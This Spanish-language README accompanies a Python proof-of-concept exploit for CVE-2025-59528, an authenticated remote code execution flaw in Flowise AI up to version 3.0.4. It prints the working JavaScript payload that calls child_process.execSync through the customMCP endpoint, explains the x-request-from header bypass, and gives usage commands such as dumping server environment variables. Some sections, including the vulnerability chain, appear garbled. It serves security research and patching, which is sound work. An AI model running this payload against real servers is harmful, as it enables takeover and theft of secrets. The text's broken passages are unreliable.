
PoC de exploit en Python para CVE-2025-59528, que logra RCE autenticado en Flowise AI <= 3.0.4 a través del endpoint customMCP y Node.js child_process.execSync.
ID de CVE: CVE-2025-59528
Software afectado: Flowise AI
Versiones vulnerables: <= 3.0.4
Versión corregida: 3.0.5 y posteriores
Gravedad: Crítica
Autor: arensballiu
Fecha: 2025
Las versiones de Flowise AI hasta la 3.0.4 inclusive permiten que un usuario autenticado logre una ejecución remota de código (RCE) en el servidor host enviando una carga útil de JavaScript manipulada al endpoint /api/v1/node-load-method/customMCP.
El método de carga del nodo customMCP acepta entrada controlada por el usuario que se evalúa en el lado del servidor como JavaScript, sin una sanitización o un aislamiento (sandboxing) adecuados. Al inyectar una carga útil que aprovecha child_process.execSync de Node.js, un atacante puede ejecutar comandos arbitrarios del sistema operativo con los privilegios del proceso del servidor de Flowise.
El endpoint también requiere que esté presente el encabezado x-request-from: internal.
| Endpoint | Método | Autenticación requerida | Propósito |
|---|---|---|---|
/api/v1/auth/login | POST | No | Autenticarse y obtener la sesión |
/api/v1/node-load-method/customMCP | POST | Sí (cookie de sesión) | Endpoint vulnerable del método de carga de nodo |
Archivo: CVE-2025-59528_POC.py
requestspip install requests
python3 CVE-2025-59528_POC.py -e <email> -i <target_url> -p <password> -c <command>
| Flag | Forma larga | Obligatorio | Descripción |
|---|---|---|---|
-e | --email | Sí | Dirección de correo electrónico del usuario autenticado |
-i | --url | Sí | URL base de la instancia de Flowise |
-p | --password | Sí | Contraseña del usuario autenticado |
-c | --cmd | Sí | Comando del sistema operativo a ejecutar en el servidor |
Verificar la ejecución de código:
python3 CVE-2025-59528_POC.py -e [email protected] -i https://flowise.example.com -p MyP@ss -c "id"
Recuperar las variables de entorno del servidor:
python3 CVE-2025-59528_POC.py -e [email protected] -i https://flowise.example.com -p MyP@ss -c "env"
[+] Logged in
[+] Exploit sent
[+] Status: 200
El exploit inyecta la siguiente expresión JavaScript en el campo mcpServerConfig:
({x:(function(){
const cp = process.mainModule.require('child_process');
cp.execSync('<command>');
return 1;
})()})
process.mainModule.require('child_process') - carga el módulo de ejecución de procesos integrado de Node.js.execSync('<command>') - ejecuta de forma síncrona el comando del sistema operativo proporcionado por el atacante.El encabezado x-request-from: internal también se añade a la solicitud para superar una comprobación de origen interno que, de lo contrario, bloquearía la llamada.
El endpoint customMCP pasa la entrada proporcionada por el usuario directamente a un contexto de evaluación de JavaScript en el servidor sin sanitización ni sandboxing. Combinado con el acceso sin restricciones a los módulos principales de Node.js (específicamente child_process) a través de process.mainModule.require, esto crea un vector de RCE trivialmente explotable. La comprobación del encabezado x-request-from no proporciona un límite de seguridad significativo, ya que no se valida contra ninguna fuente de confianza.
Estas dos vulnerabilidades pueden encadenarse para una ruta de ataque RCE no autenticada contra instancias de Flowise que ejecuten versiones <= 3.0.4:
child_process, fs, etc.) mediante un sandbox adecuado (p. ej., vm2, contextos aislados o eliminando el acceso a process.mainModule).x-request-from mediante un mecanismo del lado del servidor en lugar de una simple comprobación de cadena.Esta prueba de concepto se proporciona únicamente con fines educativos y de investigación de seguridad autorizada. El uso de este script contra sistemas sin permiso escrito explícito es ilegal y poco ético. El autor y los colaboradores no asumen ninguna responsabilidad por el uso indebido.